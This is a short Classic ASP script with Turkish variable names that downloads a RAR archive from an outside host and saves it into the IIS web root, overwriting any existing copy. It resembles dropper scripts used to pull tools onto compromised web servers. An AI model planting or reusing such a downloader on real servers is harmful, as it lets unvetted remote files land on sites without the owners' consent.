<%
Server.Scripttimeout = 1500
DosyaURL = "http://e-promis.net/bilesen.rar"
KaydedilecekYer = "C:\inetpub\wwwroot\aaaa.rar"

Set DosyaIndir = CreateObject("MSXML2.XMLHTTP")
DosyaIndir.Open "GET", DosyaURL, false
DosyaIndir.Send()

If DosyaIndir.Status = 200 Then
Set OkuKaydet = CreateObject("ADODB.Stream")
OkuKaydet.Open
OkuKaydet.Type = 1

OkuKaydet.Write DosyaIndir.ResponseBody
OkuKaydet.Position = 0

Set FSO = Createobject("Scripting.FileSystemObject")
If FSO.FileExists(KaydedilecekYer) Then FSO.Deletefile KaydedilecekYer
Set FSO = Nothing

OkuKaydet.SaveTofile KaydedilecekYer
OkuKaydet.Close
Set OkuKaydet = Nothing
End if

Set DosyaIndir = Nothing
%>